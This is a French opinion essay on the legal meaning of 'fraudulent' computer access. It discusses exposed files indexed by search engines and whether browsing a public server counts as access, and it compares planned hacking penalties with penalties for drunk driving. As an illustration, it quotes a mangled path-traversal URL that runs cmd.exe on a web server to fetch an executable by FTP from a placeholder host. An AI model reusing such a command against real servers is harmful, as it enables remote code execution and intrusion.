Je fraudule, tu fraudules, il fraudule...
"Frauduleusement"... Ce mot est particulièrement intéressant. Il sous-entend que le pirate réalise son action de mauvaise foi, dans le but de tromper, comme dirait le Petit Robert. Or, la page "lesnumeros.txt" du serveur mabelleboutiqueenligne.com va rapidement être archivée dans les moteurs de recherche si l’accès à ce répertoire est public. L’internaute lambda qui fait une recherche sur une chaîne de numéros ou sur un nom stockés dans cette page tombera fatalement dessus. Et le clic depuis Google lui sera fatal... "Non", crieront en cœur les juristes spécialistes de ce domaine. Car, pour incriminer un pirate, celui-ci doit avoir conscience de l’irrégularité de son acte... Même s’il n’a provoqué aucun dégât. Or notre internaute étourdi n’a pas conscience de commettre une quelconque irrégularité en cliquant sur un lien...
Simple sur le papier, compliqué dans la réalité. D’autant que - et c’est également une nouveauté technique liée aux NTIC - les serveurs web peuvent être piratés avec quelques adresses trafiquées du genre mabelleboutiqueenligne.com/msdac/blabla_unicode..wint/sysem33export/cmd.exe
?/c+ftp.exe+hop.hop.hhop+GET+ndog.exe+c :TEMP
dog.exe. De même que les informations essentielles d’une entreprise peuvent apparaître au détour d’une URL à peine modifiée (une faute de frappe, par exemple). Dans les logs (traces informatiques) du serveur, l’internaute devenu pirate apparaîtra comme un visiteur lambda. Anonyme (c’est le terme exact, par opposition à un utilisateur référencé du système). Ce qui est assez intéressant. Car l’accès à un "système de traitement automatisé de données" suppose que le système identifie l’accédant. Dans l’ancien temps de l’informatique, un identifiant et un mot de passe étaient demandés. Ce n’est plus le cas... Alors accès ou pas accès ? Le surf sur un serveur web public est-il un accès au serveur ? Une petite amélioration dans la définition de ce que l’on reproche aux pirates, en tenant compte des évolutions techniques liées à l’expansion des technologies IP, ne nuirait sans doute pas.
Enfin, il n’est peut-être pas inutile de rappeler ce que l’on trouve sur www.arretonslemassacre.com, cause nationale 2000, menée par la Prévention Routière avec 13 associations. Il s’agit d’un petit descriptif de ce que risquent les chauffards qui tuent sur la route. À mettre en perspective avec ce qui se prépare pour les script-kiddies : "En 1987, un chauffard ivre, responsable de la mort d’une jeune fille, se voyait infliger par le tribunal correctionnel, puis par la cour d’appel, qu’une simple peine d’emprisonnement avec sursis et quelques milliers de francs d’amendes. Dix ans plus tard, les homicides involontaires commis sous l’empire d’un état alcoolique sont le plus souvent sanctionnés par de la prison ferme. Même s’il existe de fortes disparités entre les tribunaux, la peine dépasse rarement les six mois d’emprisonnement. Elle est toujours assortie d’une annulation du permis de conduire pour une durée variant de trois à cinq ans." Aux ...tats-Unis, la justice interdit déjà aux "pirates" comme Kevin Mitnick de toucher un quelconque ordinateur, à leur sortie de prison.